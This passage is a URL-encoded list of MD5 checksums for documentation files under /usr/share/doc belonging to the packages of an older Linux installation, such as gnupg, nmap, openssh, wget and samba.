hare%2Fdoc%2Fipchains-1.3.10%2FHOWTO-7.html%0A6558ac38589667a8730b7078c453e97a%20%20%2Fusr%2Fshare%2Fdoc%2Fipchains-1.3.10%2FHOWTO-8.html%0Aac7916007632346ddebac6d18e60c846%20%20%2Fusr%2Fshare%2Fdoc%2Fipchains-1.3.10%2FHOWTO-9.html%0Aaf935071727065b5c419ce3e9de02de6%20%20%2Fusr%2Fshare%2Fdoc%2Fipchains-1.3.10%2FHOWTO.html%0A9b467c98bcd005c245960cc95b4f4fa2%20%20%2Fusr%2Fshare%2Fdoc%2Fipchains-1.3.10%2FHOWTO.sgml%0Ae08f59d76e8f05e391c6723d3bc7378b%20%20%2Fusr%2Fshare%2Fdoc%2Fipchains-1.3.10%2FHOWTO.txt%0A728d0710095d4901d2f12a1e6993d06e%20%20%2Fusr%2Fshare%2Fdoc%2Fipchains-1.3.10%2FREADME%0A44b0868f2c36cef48ddc8ef7062f3f20%20%20%2Fusr%2Fshare%2Fdoc%2Flokkit-0.50%2FChangeLog%0Aea78e86cd75f3f75ced2ecd9a0ad454b%20%20%2Fusr%2Fshare%2Fdoc%2Flokkit-0.50%2FAUTHORS%0A35ef733879b2bab3ab6ab72c657e008d%20%20%2Fusr%2Fshare%2Fdoc%2Flokkit-0.50%2FCOPYING%0Aeebda0e67b8800e3fe754bbfc5c17437%20%20%2Fusr%2Fshare%2Fdoc%2Flokkit-0.50%2FNEWS%0A88210c96e1e8dc7c5cd93f5698c8b359%20%20%2Fusr%2Fshare%2Fdoc%2Flokkit-0.50%2FREADME%0A399c11d9abe2589379595b405d8c1d6b%20%20%2Fusr%2Fshare%2Fdoc%2Fpciutils-2.1.8%2Fpciutils.lsm%0Ad5ec5fc27c9ec2d020ffa7dd6d3bdfc7%20%20%2Fusr%2Fshare%2Fdoc%2Fpciutils-2.1.8%2FChangeLog%0A7b7b2a9e29419a73f8fbe66cbc98af96%20%20%2Fusr%2Fshare%2Fdoc%2Fpciutils-2.1.8%2FREADME%0A0636e73ff0215e8d672dc4c32c317bb3%20%20%2Fusr%2Fshare%2Fdoc%2Fanacron-2.3%2FCOPYING%0Af2319f150f9331d26bedeab2d9b8cb28%20%20%2Fusr%2Fshare%2Fdoc%2Fanacron-2.3%2FREADME%0A9be211c1d1a542fb6f63ea56dcbfd50a%20%20%2Fusr%2Fshare%2Fdoc%2Fpspell-0.12.2%2Fman-html%2F1_Introduction.html%0A459df94b3270a9eac6699482f9b8f87c%20%20%2Fusr%2Fshare%2Fdoc%2Fpspell-0.12.2%2Fman-html%2F2_Getting.html%0A26a2770433cae8b9e961b52c53f0f8d0%20%20%2Fusr%2Fshare%2Fdoc%2Fpspell-0.12.2%2Fman-html%2F3_Keeping.html%0A7a1b97ccb6859ac4d2909aedff108bf3%20%20%2Fusr%2Fshare%2Fdoc%2Fpspell-0.12.2%2Fman-html%2F4_Library.html%0A0b0020e6c21e378c0f2c38ad52284229%20%20%2Fusr%2Fshare%2Fdoc%2Fpspell-0.12.2%2Fman-html%2F5_Status.html%0A0c45a1ba258c316ea57755ccf164e06b%20%20%2Fusr%2Fshare%2Fdoc%2Fpspell-0.12.2%2Fman-html%2F6_Feedback.html%0A49e5ebfb378ead1c6ca65d98f7efe3e9%20%20%2Fusr%2Fshare%2Fdoc%2Fpspell-0.12.2%2Fman-html%2F7_Changelog.html%0Af80b9ac77158d0b8ec3c965ae62ee670%20%20%2Fusr%2Fshare%2Fdoc%2Fpspell-0.12.2%2Fman-html%2F8_Copyright.html%0Ac62662b9498b0ab4f4fc4035c9cc53f4%20%20%2Fusr%2Fshare%2Fdoc%2Fpspell-0.12.2%2Fman-html%2FAbout_this.html%0A1a125e57459635fe2a4bb499cb763ae5%20%20%2Fusr%2Fshare%2Fdoc%2Fpspell-0.12.2%2Fman-html%2FContents.html%0Adae943ab34099532093204563de601fe%20%20%2Fusr%2Fshare%2Fdoc%2Fpspell-0.12.2%2Fman-html%2Fcontents.png%0A3e9f82658bb43f7033e028f5ed9cabb4%20%20%2Fusr%2Fshare%2Fdoc%2Fpspell-0.12.2%2Fman-html%2Findex.html%0Ad5d9022e4e91f5c51487b6dd987b4ae5%20%20%2Fusr%2Fshare%2Fdoc%2Fpspell-0.12.2%2Fman-html%2Fmanual.css%0A3e9f82658bb43f7033e028f5ed9cabb4%20%20%2Fusr%2Fshare%2Fdoc%2Fpspell-0.12.2%2Fman-html%2Fmanual.html%0A55a55b7ecbca37eee0c95800bdb588bb%20%20%2Fusr%2Fshare%2Fdoc%2Fpspell-0.12.2%2Fman-html%2Fnext.png%0A73065c0aad0bc15cc1fbb7cb36ff2692%20%20%2Fusr%2Fshare%2Fdoc%2Fpspell-0.12.2%2Fman-html%2Fnext_g.png%0Ab8e7094b02b1d67a49071d437044238b%20%20%2Fusr%2Fshare%2Fdoc%2Fpspell-0.12.2%2Fman-html%2Fprev.png%0A90157f6fbe6db7c436a642a1c593e1e6%20%20%2Fusr%2Fshare%2Fdoc%2Fpspell-0.12.2%2Fman-html%2Fprev_g.png%0Acc743a5f1d28bc932517d75f3384dc5a%20%20%2Fusr%2Fshare%2Fdoc%2Fpspell-0.12.2%2Fman-html%2Fup.png%0Ad8a4d29ef30068010a0e78045b0a4d9a%20%20%2Fusr%2Fshare%2Fdoc%2Fpspell-0.12.2%2Fman-html%2Fup_g.png%0A8f874dd234e4834a01aa52674dab6f00%20%20%2Fusr%2Fshare%2Fdoc%2Fpspell-0.12.2%2FREADME%0Ac580baac6a02f7b9f1566b60a685eb50%20%20%2Fusr%2Fshare%2Fdoc%2Fpspell-0.12.2%2Fman-text%2F1_Introduction.txt%0A8f874dd234e4834a01aa52674dab6f00%20%20%2Fusr%2Fshare%2Fdoc%2Fpspell-0.12.2%2Fman-text%2F2_Getting.txt%0A4a2f9ceaaefafdc2c296a7afd42a62c5%20%20%2Fusr%2Fshare%2Fdoc%2Fpspell-0.12.2%2Fman-text%2F3_Keeping.txt%0Ac79fb95c578c431f2865595ac0249c78%20%20%2Fusr%2Fshare%2Fdoc%2Fpspell-0.12.2%2Fman-text%2F4_Library.txt%0Ac429c5ae0e7761ea6c632d16c83719b9%20%20%2Fusr%2Fshare%2Fdoc%2Fpspell-0.12.2%2Fman-text%2F5_Status.txt%0Af12650cf3504efb201991490521b5568%20%20%2Fusr%2Fshare%2Fdoc%2Fpspell-0.12.2%2Fman-text%2F6_Feedback.txt%0Ac3c587e3c04ff817558e3e698cb39690%20%20%2Fusr%2Fshare%2Fdoc%2Fpspell-0.12.2%2Fman-text%2F7_Changelog.txt%0Af5480cf2dde955c7b08393594426fb9d%20%20%2Fusr%2Fshare%2Fdoc%2Fpspell-0.12.2%2Fman-text%2F8_Copyright.txt%0A40e31f50affb608b8a8fb3f109c3bb13%20%20%2Fusr%2Fshare%2Fdoc%2Fpspell-0.12.2%2Fman-text%2FAbout_this.txt%0Ae360653097c4bacd08c5d74ebace5995%20%20%2Fusr%2Fshare%2Fdoc%2Fpspell-0.12.2%2Fman-text%2FContents.txt%0Ad9bdeadf7f42235ee874ec473126b464%20%20%2Fusr%2Fshare%2Fdoc%2Fpspell-0.12.2%2Fman-text%2Findex.txt%0Ad9bdeadf7f42235ee874ec473126b464%20%20%2Fusr%2Fshare%2Fdoc%2Fpspell-0.12.2%2Fman-text%2Fmanual.txt%0A25ae84a1cc0ed82d0dfca5601fb74bce%20%20%2Fusr%2Fshare%2Fdoc%2Fpspell-0.12.2%2Fmanual.dvi%0Ac34bc1532920b9f472323cbf5774dd85%20%20%2Fusr%2Fshare%2Fdoc%2Fpspell-0.12.2%2Fmanual.tex%0Aa1a7c968aca8ee6b55f83cc40691af5c%20%20%2Fusr%2Fshare%2Fdoc%2Fxinetd-2.3.3%2FCHANGELOG%0A8ad8615198542444f84d28a6cf226dd8%20%20%2Fusr%2Fshare%2Fdoc%2Fxinetd-2.3.3%2FCOPYRIGHT%0A41377fc0b768dd611c022d95ce40b236%20%20%2Fusr%2Fshare%2Fdoc%2Fxinetd-2.3.3%2FINSTALL%0Abd982f5aeb4dd3b7353f56cf7e38ccad%20%20%2Fusr%2Fshare%2Fdoc%2Fxinetd-2.3.3%2FREADME%0A6a2dc04d3799a443eea26b062575f88d%20%20%2Fusr%2Fshare%2Fdoc%2Fxinetd-2.3.3%2Fsample.conf%0A23680ec1ea83ae39a0465db08e2e8cac%20%20%2Fusr%2Fshare%2Fdoc%2Fmake-3.79.1%2FNEWS%0Ae2ecb62e17ad1ac10fd7a3d374f296d9%20%20%2Fusr%2Fshare%2Fdoc%2Fmake-3.79.1%2FREADME%0Ac6b84245d7a16af554c5dc6b9c065be4%20%20%2Fusr%2Fshare%2Fdoc%2Fzip-2.3%2FWHATSNEW%0Aa425bd63c927f081130ecc844db70903%20%20%2Fusr%2Fshare%2Fdoc%2Fzip-2.3%2FBUGS%0Af9514f8b97563ee6dfd3caa9b851a2f6%20%20%2Fusr%2Fshare%2Fdoc%2Fzip-2.3%2FCHANGES%0A7be0d10ddc595a72267d00704e731295%20%20%2Fusr%2Fshare%2Fdoc%2Fzip-2.3%2FMANUAL%0Ab6f0d59af01809ab6876a0b2e966e3c6%20%20%2Fusr%2Fshare%2Fdoc%2Fzip-2.3%2FREADME%0A8f1525893e4fd27ed679360da121c29f%20%20%2Fusr%2Fshare%2Fdoc%2Fzip-2.3%2FTODO%0Ae285aac330068ee6454248963788d4bd%20%20%2Fusr%2Fshare%2Fdoc%2Fzip-2.3%2Falgorith.txt%0Aabd24318b8a0de483a7ca7b70ee73abf%20%20%2Fusr%2Fshare%2Fdoc%2Fzip-2.3%2FWHERE%0A1fc2edd2e297e37e3cfeeae985493ed3%20%20%2Fusr%2Fshare%2Fdoc%2Fgnupg-1.0.6%2FChangeLog%0A3955b571135e307b65c4f5af94f978dd%20%20%2Fusr%2Fshare%2Fdoc%2Fgnupg-1.0.6%2FAUTHORS%0Af9d20a453221a1b7e32ae84694da2c37%20%20%2Fusr%2Fshare%2Fdoc%2Fgnupg-1.0.6%2FCOPYING%0A4e05acb3b30b6caa8721152f8369cce4%20%20%2Fusr%2Fshare%2Fdoc%2Fgnupg-1.0.6%2FPROJECTS%0Abae73f33baa7af62e7e2403cf02d55c8%20%20%2Fusr%2Fshare%2Fdoc%2Fgnupg-1.0.6%2FDETAILS%0A183ad865cd591d05703a5e0f01b214a2%20%20%2Fusr%2Fshare%2Fdoc%2Fgnupg-1.0.6%2FFAQ%0Ad900d43a80713ff8d91e42d6cd98b0df%20%20%2Fusr%2Fshare%2Fdoc%2Fgnupg-1.0.6%2FHACKING%0A8d9b7fd11359599157ef2e58ed848cb5%20%20%2Fusr%2Fshare%2Fdoc%2Fgnupg-1.0.6%2FINSTALL%0Adaf0748c95e70ff4b97487dac8e955f6%20%20%2Fusr%2Fshare%2Fdoc%2Fgnupg-1.0.6%2FNEWS%0Ac13669024032c76697eacce472412b59%20%20%2Fusr%2Fshare%2Fdoc%2Fgnupg-1.0.6%2FOPTIONS%0Ade0edf500ae86576095b0d9808be6f48%20%20%2Fusr%2Fshare%2Fdoc%2Fgnupg-1.0.6%2FOpenPGP%0A26d5c6f086066b0fcd35cb6a75afcd35%20%20%2Fusr%2Fshare%2Fdoc%2Fgnupg-1.0.6%2Ffaq.html%0A664f58d7247720929df2b942381e3126%20%20%2Fusr%2Fshare%2Fdoc%2Fgnupg-1.0.6%2FREADME%0Ae7ef47ccdf7e12b17135b19360c4f2b1%20%20%2Fusr%2Fshare%2Fdoc%2Fgnupg-1.0.6%2FTHANKS%0A0d56b750cacaed1020b912c38452a8a8%20%20%2Fusr%2Fshare%2Fdoc%2Fgnupg-1.0.6%2FTODO%0A43f28c1834c74d31166ee0e7788dbda7%20%20%2Fusr%2Fshare%2Fdoc%2Fgnupg-1.0.6%2Fpubring.asc%0A09bae93d46b27c2686969d24cbb554be%20%20%2Fusr%2Fshare%2Fdoc%2Fncftp-3.0.3%2FWHATSNEW-3.0%0Ae28b1825e5b8702e0f466ad87a70f086%20%20%2Fusr%2Fshare%2Fdoc%2Fncftp-3.0.3%2FREADME%0A386c8bfd5c0c69572c1f77b64291c0d1%20%20%2Fusr%2Fshare%2Fdoc%2Fncftp-3.0.3%2FFIREWALL-PROXY-README%0Aec9a86de60b482bfe830323018a071f5%20%20%2Fusr%2Fshare%2Fdoc%2Fncftp-3.0.3%2FLICENSE.txt%0Aa0d8d2e179f9246b25e195d614a74d43%20%20%2Fusr%2Fshare%2Fdoc%2Fncftp-3.0.3%2FREADLINE-README%0A5a245531776d70779370db358e0f3fd1%20%20%2Fusr%2Fshare%2Fdoc%2Fncftp-3.0.3%2Fdoc%2Fhtml%2Fncftpbatch.html%0A9abb61aca7f8aa03152039859341fe56%20%20%2Fusr%2Fshare%2Fdoc%2Fncftp-3.0.3%2Fdoc%2Fhtml%2Findex.html%0A539f0a80ffbdd4b944a9212dc7723ff7%20%20%2Fusr%2Fshare%2Fdoc%2Fncftp-3.0.3%2Fdoc%2Fhtml%2Fncftp.html%0A476074e42974bd5edaa43975f85879da%20%20%2Fusr%2Fshare%2Fdoc%2Fncftp-3.0.3%2Fdoc%2Fhtml%2Fncftpget.html%0A2d84153acee15b237ac68721f60cfb8b%20%20%2Fusr%2Fshare%2Fdoc%2Fncftp-3.0.3%2Fdoc%2Fhtml%2Fncftpls.html%0Aefc155bf0d5f4bbdee822afa59e52110%20%20%2Fusr%2Fshare%2Fdoc%2Fncftp-3.0.3%2Fdoc%2Fhtml%2Fncftpput.html%0A0286eee74323201d0aff881dbb8f743c%20%20%2Fusr%2Fshare%2Fdoc%2Fncftp-3.0.3%2Fdoc%2Fman%2Fncftpbatch.1%0Ad433791130d3e2705ad77634ab1be44f%20%20%2Fusr%2Fshare%2Fdoc%2Fncftp-3.0.3%2Fdoc%2Fman%2Fncftp.1%0Adf376bf85a4aa5f7504d841f3d22fa3f%20%20%2Fusr%2Fshare%2Fdoc%2Fncftp-3.0.3%2Fdoc%2Fman%2Fncftpget.1%0A3a1a64a859357d5f06dcd05cb56c4ccd%20%20%2Fusr%2Fshare%2Fdoc%2Fncftp-3.0.3%2Fdoc%2Fman%2Fncftpls.1%0Ad9bd670a89ec675bbd12e415a6a2b79b%20%20%2Fusr%2Fshare%2Fdoc%2Fncftp-3.0.3%2Fdoc%2Fman%2Fncftpput.1%0Ad20803bb34afbf44ddc7d28f04574dcd%20%20%2Fusr%2Fshare%2Fdoc%2Fncftp-3.0.3%2Fdoc%2Fmanifest.txt%0Accb10e3c2878954b2d021e180e30e577%20%20%2Fusr%2Fshare%2Fdoc%2Fncftp-3.0.3%2Fdoc%2Fmanifest%0A9d18c995c36acbfd340e3c7264063b76%20%20%2Fusr%2Fshare%2Fdoc%2Fncftp-3.0.3%2Fdoc%2Freadme_ncftpget_windows.txt%0A1ec095c3b1e75007fbce75aa058066be%20%20%2Fusr%2Fshare%2Fdoc%2Fncftp-3.0.3%2Fdoc%2Freadme_windows.txt%0Ace6e256f2031803ac8dfa739af76ab37%20%20%2Fusr%2Fshare%2Fdoc%2Fnmap-2.54BETA22%2Fcopying.html%0A911479c18e882b6de55a2493c82245d1%20%20%2Fusr%2Fshare%2Fdoc%2Fnmap-2.54BETA22%2FCOPYING%0A92c9ec984205dd82b7529a7cc0bc2972%20%20%2Fusr%2Fshare%2Fdoc%2Fnmap-2.54BETA22%2FREADME%0A033fe8ff3d25ce4e59ac2b991a4d1a8d%20%20%2Fusr%2Fshare%2Fdoc%2Fnmap-2.54BETA22%2Fnmap-fingerprinting-article.txt%0A3fadf37128e8c035d87fa053a5b281bd%20%20%2Fusr%2Fshare%2Fdoc%2Fnmap-2.54BETA22%2Fnmap.deprecated.txt%0Ae47d3b8e8b8141f8c6c481993452530f%20%20%2Fusr%2Fshare%2Fdoc%2Fnmap-2.54BETA22%2Fnmap.usage.txt%0A9df6403242630c628333602d107cc8fd%20%20%2Fusr%2Fshare%2Fdoc%2Fnmap-2.54BETA22%2Fnmap_doc.html%0A71e345ef6019819ae203e74b4f7d2d69%20%20%2Fusr%2Fshare%2Fdoc%2Fnmap-2.54BETA22%2Fnmap_manpage.html%0A6423acef356c047fbc96423a7b5e2dc0%20%20%2Fusr%2Fshare%2Fdoc%2Fopenssh-2.9p2%2FChangeLog%0Afbee0d032c43175262bef2d5ffb17c1e%20%20%2Fusr%2Fshare%2Fdoc%2Fopenssh-2.9p2%2FCREDITS%0A5def77be758d9e4aa2390c3825ed7cb2%20%20%2Fusr%2Fshare%2Fdoc%2Fopenssh-2.9p2%2FOVERVIEW%0A2367cd769b471c2ec45debb04ffe3339%20%20%2Fusr%2Fshare%2Fdoc%2Fopenssh-2.9p2%2FINSTALL%0A7bd49415086c1fe6cde1fac44ec165fa%20%20%2Fusr%2Fshare%2Fdoc%2Fopenssh-2.9p2%2FLICENCE%0Aae0291c01ba1ee2e3a49c1aa50e06385%20%20%2Fusr%2Fshare%2Fdoc%2Fopenssh-2.9p2%2FRFC.nroff%0Ae9a8bffc31f98de0eb80e75acccfa4e4%20%20%2Fusr%2Fshare%2Fdoc%2Fopenssh-2.9p2%2FREADME%0Afd10c54ed9c1bb22a955c2893df5ac5d%20%20%2Fusr%2Fshare%2Fdoc%2Fopenssh-2.9p2%2FWARNING.RNG%0A8e338d40f41fdec9343209611bbe080c%20%20%2Fusr%2Fshare%2Fdoc%2Fopenssh-2.9p2%2FTODO%0Aacaa88323dfeb1af708547604b0bc43c%20%20%2Fusr%2Fshare%2Fdoc%2Fpidentd-3.0.14%2FChangeLog%0A1490813aca1e212af3eac1319805dbc7%20%20%2Fusr%2Fshare%2Fdoc%2Fpidentd-3.0.14%2FBUGS%0A6d518a1daa9cb44930ac7bc6a7606dd8%20%20%2Fusr%2Fshare%2Fdoc%2Fpidentd-3.0.14%2FINSTALL%0A928639fff9f0885dfbe591dbf9490917%20%20%2Fusr%2Fshare%2Fdoc%2Fpidentd-3.0.14%2FFAQ%0Aced71cd04dc21eda2d2a071d1af8b255%20%20%2Fusr%2Fshare%2Fdoc%2Fpidentd-3.0.14%2Frfc1413.txt%0Ac341998232edf805d2d7ffbb7aee4e49%20%20%2Fusr%2Fshare%2Fdoc%2Fpidentd-3.0.14%2FREADME%0A83ef682ce3536d14d70d9efc5a949638%20%20%2Fusr%2Fshare%2Fdoc%2Fpidentd-3.0.14%2FY2K%0A8ca43cbc842c2336e835926c2166c28b%20%20%2Fusr%2Fshare%2Fdoc%2Fstunnel-3.19%2FCOPYRIGHT.GPL%0A900e712704ba9f54ae29eca8b95cef29%20%20%2Fusr%2Fshare%2Fdoc%2Fstunnel-3.19%2FBUGS%0A67c4d36227b6906155f224de40163453%20%20%2Fusr%2Fshare%2Fdoc%2Fstunnel-3.19%2FCOPYING%0A68aa1d53089c90485aebda32fdddddbb%20%20%2Fusr%2Fshare%2Fdoc%2Fstunnel-3.19%2FHISTORY%0Ae178b9a392f0733f3367a62e1825a833%20%20%2Fusr%2Fshare%2Fdoc%2Fstunnel-3.19%2FFAQ%0A20f839f7a71ccab144a2359f052a58b7%20%20%2Fusr%2Fshare%2Fdoc%2Fstunnel-3.19%2FCOPYRIGHT.SSLeay%0A116204270adfb58aab5e4837e1cd34f3%20%20%2Fusr%2Fshare%2Fdoc%2Fstunnel-3.19%2Fstunnel.html%0A10b4b8593b141b865e5ce0f410225b69%20%20%2Fusr%2Fshare%2Fdoc%2Fstunnel-3.19%2FPORTS%0A2c8d02945962c6f98f399f706ad45b59%20%20%2Fusr%2Fshare%2Fdoc%2Fstunnel-3.19%2FREADME%0A4414c59d2e133b28d5bd86c62e6def61%20%20%2Fusr%2Fshare%2Fdoc%2Fstunnel-3.19%2FTODO%0A03f55156b757fb848cd431df8c8bb109%20%20%2Fusr%2Fshare%2Fdoc%2Fwget-1.7%2FMAILING-LIST%0Ab914a022e772b02514c017fdbd99a3f5%20%20%2Fusr%2Fshare%2Fdoc%2Fwget-1.7%2FAUTHORS%0A764c22cba0d86f60bd095c8eb78e8f05%20%20%2Fusr%2Fshare%2Fdoc%2Fwget-1.7%2FREADME.cvs%0Ac47bd2204953eb8c6ba07fc83ea4ca3e%20%20%2Fusr%2Fshare%2Fdoc%2Fwget-1.7%2FNEWS%0A05a6fde5add3fb189a469384dbc4a91f%20%20%2Fusr%2Fshare%2Fdoc%2Fwget-1.7%2FPATCHES%0A286b21122555d0320b87ada3c894e306%20%20%2Fusr%2Fshare%2Fdoc%2Fwget-1.7%2FREADME%0Ac4b9064196ee17b3793a1f1dfa9db023%20%20%2Fusr%2Fshare%2Fdoc%2Fwget-1.7%2FTODO%0A43baf826f821f16e57822b76faf2246a%20%20%2Fusr%2Fshare%2Fdoc%2Flinks-0.96%2Fmanual-0.82-en%2Flinks-appendix.html%0Afbc7134cef9b110fe8846e536d16b1bc%20%20%2Fusr%2Fshare%2Fdoc%2Flinks-0.96%2Fmanual-0.82-en%2Findex.html%0A29fc3363baa7500739fbc814365f3334%20%20%2Fusr%2Fshare%2Fdoc%2Flinks-0.96%2Fmanual-0.82-en%2Flinks-appendix-default-linkscfg.txt%0Ad519b80128bd66e0eb727b4bb577e9e3%20%20%2Fusr%2Fshare%2Fdoc%2Flinks-0.96%2Fmanual-0.82-en%2Flinks-appendix-bash-script.txt%0A422c3e457c207b734d95f9c6369cead4%20%20%2Fusr%2Fshare%2Fdoc%2Flinks-0.96%2Fmanual-0.82-en%2Flinks-appendix-mime-types.txt%0A8954c9d7b35c7b1486c740c43557c670%20%20%2Fusr%2Fshare%2Fdoc%2Flinks-0.96%2Fmanual-0.82-en%2Flinks-appendix-startpage.html%0A9deabd79e53baa656fd28f36b0d87370%20%20%2Fusr%2Fshare%2Fdoc%2Flinks-0.96%2Fmanual-0.82-en%2Flinks-configure-charset.html%0Ab29152c00431c83487a1e400a2b78534%20%20%2Fusr%2Fshare%2Fdoc%2Flinks-0.96%2Fmanual-0.82-en%2Flinks-configure-colour.html%0A44702171005ec52cf411f1c033e4a2ae%20%20%2Fusr%2Fshare%2Fdoc%2Flinks-0.96%2Fmanual-0.82-en%2Flinks-configure-extns.html%0A85f438476c9115bde401dcc0ac06b8f1%20%20%2Fusr%2Fshare%2Fdoc%2Flinks-0.96%2Fmanual-0.82-en%2Flinks-configure-file.html%0A24f650bba45364cfcc7abf57a1280e44%20%20%2Fusr%2Fshare%2Fdoc%2Flinks-0.96%2Fmanual-0.82-en%2Flinks-configure-other.html%0A00a27af0fca460b6c32ea50f390187eb%20%20%2Fusr%2Fshare%2Fdoc%2Flinks-0.96%2Fmanual-0.82-en%2Flinks-configure.html%0A48a7368c49aac27b554b47a3fd73890b%20%20%2Fusr%2Fshare%2Fdoc%2Flinks-0.96%2Fmanual-0.82-en%2Flinks-copying.html%0A252b7920c43af93815d9d044c3a3fb78%20%20%2Fusr%2Fshare%2Fdoc%2Flinks-0.96%2Fmanual-0.82-en%2Flinks-custom-extapps.html%0Ae7f1d33be750bcb43a51812946629cac%20%20%2Fusr%2Fshare%2Fdoc%2Flinks-0.96%2Fmanual-0.82-en%2Flinks-custom-font.html%0Ab5c734c75c33f556497593dcbd8d883b%20%20%2Fusr%2Fshare%2Fdoc%2Flinks-0.96%2Fmanual-0.82-en%2Flinks-custom-links%2Bviewer.html%0A32161a11da91e622145255cb598404c9%20%20%2Fusr%2Fshare%2Fdoc%2Flinks-0.96%2Fmanual-0.82-en%2Flinks-custom-plugin.html%0Af6eb04c09779b09e2f3e6d6c76e21b96%20%20%2Fusr%2Fshare%2Fdoc%2Flinks-0.96%2Fmanual-0.82-en%2Flinks-custom.html%0A72037dfe0f795f19a2b1f5e90b041356%20%20%2Fusr%2Fshare%2Fdoc%2Flinks-0.96%2Fmanual-0.82-en%2Flinks-overview.html%0Afde8aa6eaffc1d43f1f96a8a458903f1%20%20%2Fusr%2Fshare%2Fdoc%2Flinks-0.96%2Fmanual-0.82-en%2Flinks-usage-keystrokes.html%0Afa07423d23969feacf550dc74a1a5d91%20%20%2Fusr%2Fshare%2Fdoc%2Flinks-0.96%2Fmanual-0.82-en%2Flinks-usage-menu.html%0Ae71bf31a76d7e35d873dce3b79e9fa26%20%20%2Fusr%2Fshare%2Fdoc%2Flinks-0.96%2Fmanual-0.82-en%2Flinks-usage-mouse.html%0A956151a14f1e426df024b460f2a4d58e%20%20%2Fusr%2Fshare%2Fdoc%2Flinks-0.96%2Fmanual-0.82-en%2Flinks-usage-start.html%0Abfbc3648d5c8d13e51583b8bd3120cb5%20%20%2Fusr%2Fshare%2Fdoc%2Flinks-0.96%2Fmanual-0.82-en%2Flinks-usage.html%0A5a039cd4befb34226aa8d43489066779%20%20%2Fusr%2Fshare%2Fdoc%2Flinks-0.96%2FREADME%0A678a85c9a21f26c05124885933bb9825%20%20%2Fusr%2Fshare%2Fdoc%2Flinks-0.96%2FSITES%0A740dc27969ca5e512952df20019f51e1%20%20%2Fusr%2Fshare%2Fdoc%2Flinks-0.96%2FTODO%0A17f3816534c0f244034f6ddfdd67912f%20%20%2Fusr%2Fshare%2Fdoc%2Fsysstat-4.0.1%2FCHANGES%0A8ca43cbc842c2336e835926c2166c28b%20%20%2Fusr%2Fshare%2Fdoc%2Fsysstat-4.0.1%2FCOPYING%0A969104309f66eabe8fbd05c5af15deb6%20%20%2Fusr%2Fshare%2Fdoc%2Fsysstat-4.0.1%2FCREDITS%0A1663c8d611db56d3b2c2e9715c7b49e5%20%20%2Fusr%2Fshare%2Fdoc%2Fsysstat-4.0.1%2FREADME%0A0095379640e45da8c03957dc9d990e0c%20%20%2Fusr%2Fshare%2Fdoc%2Fsysstat-4.0.1%2FTODO%0Ad22d9f58275457da807d5d0a7b332f4c%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2FManifest%0A8ca43cbc842c2336e835926c2166c28b%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2FCOPYING%0A0286aa9b3365c427ddde3662737da081%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2FWHATSNEW.txt%0A7ac50da61749d7c39096fa8a6e4c9232%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2FREADME%0A8be27a5679926238dfdeec9392f456c3%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2FRoadmap%0A69f317abd5a711636b88eb60f17e68ad%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fdocs%2FNT4_PlainPassword.reg%0A2258740996cd30b0a544ded52e9fe85b%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fdocs%2FNT4-Locking.reg%0A78269c4ae39e2b3ecaa3ef1877b44a42%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fdocs%2FOID%2Fallocated-arcs.txt%0Ad74fd552ba321e1f90aae4ab59abf1d7%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fdocs%2FOID%2Fsamba-oid.mail%0A8bed1978855ebbcbca2378c02c8352fe%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fdocs%2FSamba-HOWTO-Collection.pdf%0A803d48a4ea088776eaf9a30d3852d3ba%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fdocs%2FREADME.pam_smbpass%0A96de617809b4825da6a659559148ed60%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fdocs%2Fannounce%0A44ffc198d5e4b5656995926f3258b4e3%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fdocs%2FTHANKS%0A26111e03dbcb336b0fd76e52f23db64a%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fdocs%2Ffaq%2FSamba-Server-FAQ-1.html%0Af1c39d4639525b79ff692f85ae5e5299%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fdocs%2Ffaq%2FSamba-Server-FAQ-2.html%0A81d5aa2610703d4fd4adab1d122fffa5%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fdocs%2Ffaq%2FSamba-Server-FAQ.html%0Ab79cf2c3966c49de4811820aaa4ebe8a%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fdocs%2Ffaq%2FSamba-meta-FAQ-1.html%0Ac0af29edea46deac4e903dc3a701ef1a%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fdocs%2Ffaq%2FSamba-meta-FAQ-2.html%0Aae30c8d0a6e881de814e4f8e81c599c8%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fdocs%2Ffaq%2FSamba-meta-FAQ-3.html%0A5881ac29141bfd72f010183791ed8310%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fdocs%2Ffaq%2FSamba-meta-FAQ-4.html%0Ade114544e1989c5c792c56f314735e59%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fdocs%2Ffaq%2FSamba-meta-FAQ-5.html%0A860cd10a33a38baa30c68b8e7c7e8790%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fdocs%2Ffaq%2FSamba-meta-FAQ-6.html%0A526a36fa0a947eb54c3102a93fc53bf8%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fdocs%2Ffaq%2FSamba-meta-FAQ.html%0Aa6fb3022d2ae5ccbcc8f3302dbc86ce0%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fdocs%2Ffaq%2FSamba-meta-FAQ.txt%0A0c09e52daa0bee6bd34f75ff4bcd9c1e%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fdocs%2Ffaq%2Fsambafa